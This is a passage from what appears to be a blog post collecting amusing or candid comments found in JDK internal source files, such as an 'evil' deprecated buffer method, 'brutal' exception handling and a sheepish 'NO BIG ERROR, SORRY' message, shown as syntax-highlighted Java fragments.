CLASS="jd">/**<br /><SPAN CLASS="nb">002</SPAN> * To shutdown when run as an application. This is a<br /><SPAN CLASS="nb">003</SPAN> * fairly lame implementation. A more self-respecting<br /><SPAN CLASS="nb">004</SPAN> * implementation would at least check to see if a save<br /><SPAN CLASS="nb">005</SPAN> * was needed.<br /><SPAN CLASS="nb">006</SPAN> */<br /><SPAN CLASS="nb">007</SPAN> </SPAN><SPAN CLASS="kw">protected</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN STYLE="bl"> AppCloser </SPAN><SPAN CLASS="kw">extends</SPAN><SPAN STYLE="bl"> WindowAdapter {<br /><SPAN CLASS="nb">008</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> windowClosing(WindowEvent e) {<br /><SPAN CLASS="nb">009</SPAN> System.exit(0);<br /><SPAN CLASS="nb">010</SPAN> }<br /><SPAN CLASS="nb">011</SPAN> }<br /></SPAN></code></div><br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Other</span><br /><br />sun.jkernel.DigestOutputStream:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN STYLE="bl"> (NoSuchAlgorithmException e) {<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="cm">// Impossible to get here, but stranger things have happened...<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> RuntimeException(</SPAN><SPAN CLASS="st">"DigestOutputStream() unknown algorithm"</SPAN><SPAN STYLE="bl">);<br /><SPAN CLASS="nb">004</SPAN> }<br /><SPAN CLASS="nb">005</SPAN> </SPAN><SPAN CLASS="cm">// superstition from a test failure this.out = out;<br /></SPAN></code></div><br />com.sun.org.apache.xalan.internal.xsltc.dom.CachedDocument:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// Brutal handling of all exceptions<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN STYLE="bl"> (Exception e) {<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl">(System.currentTimeMillis());<br /><SPAN CLASS="nb">004</SPAN> }<br /></SPAN></code></div><br />com.sun.java.util.jar.pack.PackageWriter:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// Crash and burn with a complaint if there are funny<br /><SPAN CLASS="nb">002</SPAN> // bytecodes in this class file.<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN STYLE="bl">String complaint = code.getMethod()<br /><SPAN CLASS="nb">004</SPAN> +</SPAN><SPAN CLASS="st">" contains an unrecognized bytecode "</SPAN><SPAN STYLE="bl">+i<br /><SPAN CLASS="nb">005</SPAN> +</SPAN><SPAN CLASS="st">"; please use the pass-file option on this class."</SPAN><SPAN STYLE="bl">;<br /><SPAN CLASS="nb">006</SPAN> Utils.log.warning(complaint);<br /><SPAN CLASS="nb">007</SPAN> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> IOException(complaint);<br /></SPAN></code></div><br />java.util.jar.Pack200:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="jd">/**<br /><SPAN CLASS="nb">002</SPAN> ...<br /><SPAN CLASS="nb">003</SPAN> * Examples:<br /><SPAN CLASS="nb">004</SPAN> * Map p = packer.properties();<br /><SPAN CLASS="nb">005</SPAN> * p.put(PASS_FILE_PFX+0, "mutants/Rogue.class");<br /><SPAN CLASS="nb">006</SPAN> * p.put(PASS_FILE_PFX+1, "mutants/Wolverine.class");<br /><SPAN CLASS="nb">007</SPAN> * p.put(PASS_FILE_PFX+2, "mutants/Storm.class");<br /><SPAN CLASS="nb">008</SPAN> * # Pass all files in an entire directory hierarchy:<br /><SPAN CLASS="nb">009</SPAN> * p.put(PASS_FILE_PFX+3, "police/");<br /><SPAN CLASS="nb">010</SPAN> */<br /></SPAN></code></div><br />com.sun.tools.jdi.ObjectReferenceImpl:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">/* The above code is left over from previous versions.<br /><SPAN CLASS="nb">002</SPAN> * We haven't had time to divine the intent. jjh, 7/31/2003<br /><SPAN CLASS="nb">003</SPAN> */<br /></SPAN></code></div><br />com.sun.media.sound.RealTimeSequencer:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN STYLE="bl"> (MidiUnavailableException mue) {<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="cm">// uhum, strange situation. Need to cast to InvalidMidiDataException<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> InvalidMidiDataException(mue.getMessage());<br /><SPAN CLASS="nb">004</SPAN> }<br /></SPAN></code></div><br />com.sun.org.apache.xml.internal.dtm.ref.dom2dtm.DOM2DTM:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// (If it's an EntityReference node, we're probably scrod. For now<br /><SPAN CLASS="nb">002</SPAN> // I'm just hoping nobody is ever quite that foolish... %REVIEW%)<br /></SPAN></code></div><br />com.sun.tools.doclets.formats.html.AbstractTreeWriter:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="jd">/**<br /><SPAN CLASS="nb">002</SPAN> * Generate each level of the class tree. For each sub-class or<br /><SPAN CLASS="nb">003</SPAN> * sub-interface indents the next level information.<br /><SPAN CLASS="nb">004</SPAN> * Recurses itself to generate subclasses info.<br /><SPAN CLASS="nb">005</SPAN> * To iterate is human, to recurse is divine - L. Peter Deutsch.<br /><SPAN CLASS="nb">006</SPAN> *<br /><SPAN CLASS="nb">007</SPAN> * <SPAN CLASS="tg">@param</SPAN> parent the superclass or superinterface of the list.<br /><SPAN CLASS="nb">008</SPAN> * <SPAN CLASS="tg">@param</SPAN> list list of the sub-classes at this level.<br /><SPAN CLASS="nb">009</SPAN> * <SPAN CLASS="tg">@param</SPAN> isEnum true if we are generating a tree for enums.<br /><SPAN CLASS="nb">010</SPAN> */<br /></SPAN></code></div><br />sun.awt.shell.Win32ShellFolder2:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// Ouch, we have no hard drives. Return something "valid" anyway.<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> File(</SPAN><SPAN CLASS="st">"C:\\"</SPAN><SPAN STYLE="bl">);<br /></SPAN></code></div><br />com.sun.org.apache.bcel.internal.ExceptionConstants:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="jd">/** The mother of all exceptions<br /><SPAN CLASS="nb">002</SPAN> */<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN STYLE="bl"> Class THROWABLE = Throwable.</SPAN><SPAN CLASS="kw">class</SPAN><SPAN STYLE="bl">;<br /></SPAN></code></div><br />com.sun.xml.internal.messaging.saaj.util.ByteOutputStream:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="jd">/**<br /><SPAN CLASS="nb">002</SPAN> * Evil buffer reallocation method.<br /><SPAN CLASS="nb">003</SPAN> * Don't use it unless you absolutely have to.<br /><SPAN CLASS="nb">004</SPAN> *<br /><SPAN CLASS="nb">005</SPAN> * <SPAN CLASS="tg">@deprecated</SPAN><br /><SPAN CLASS="nb">006</SPAN> * because this is evil!<br /><SPAN CLASS="nb">007</SPAN> */<br /><SPAN CLASS="nb">008</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">byte</SPAN><SPAN STYLE="bl"> toByteArray()[] {<br /><SPAN CLASS="nb">009</SPAN> </SPAN><SPAN CLASS="kw">byte</SPAN><SPAN STYLE="bl">[] newbuf = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">byte</SPAN><SPAN STYLE="bl">[count];<br /><SPAN CLASS="nb">010</SPAN> System.arraycopy(buf, 0, newbuf, 0, count);<br /><SPAN CLASS="nb">011</SPAN> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> newbuf;<br /><SPAN CLASS="nb">012</SPAN> }<br /></SPAN></code></div><br />com.sun.org.apache.xpath.internal.compiler.Compiler:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">int</SPAN><SPAN STYLE="bl"> what = getWhatToShow(startOpPos);<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="cm">// bit-o-hackery, but this code is due for the morgue anyway...<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl">(0x00000500 == what)<br /><SPAN CLASS="nb">004</SPAN> addMagicSelf = false;<br /></SPAN></code></div><br />sun.jvm.hotspot.runtime.sparc.SPARCFrame:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// Also not sure exactly how alignment works...maybe should read these offsets from the target VM<br /><SPAN CLASS="nb">002</SPAN> // (When you have a hammer, everything looks like a nail)<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN STYLE="bl"> offset = VM.getVM().alignUp(4, VM.getVM().getAddressSize()); </SPAN><SPAN CLASS="cm">// uc_flags<br /></SPAN></code></div><br />sun.security.tools.KeyTool:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// do not drown user with the help lines.<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl"> (debug) {<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> RuntimeException(</SPAN><SPAN CLASS="st">"NO BIG ERROR, SORRY"</SPAN><SPAN STYLE="bl">);<br /><SPAN CLASS="nb">004</SPAN> } </SPAN><SPAN CLASS="kw">else</SPAN><SPAN STYLE="bl"> {<br /><SPAN CLASS="nb">005</SPAN> System.exit(1);<br /><SPAN CLASS="nb">006</SPAN> }<br /></SPAN></code></div>Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com4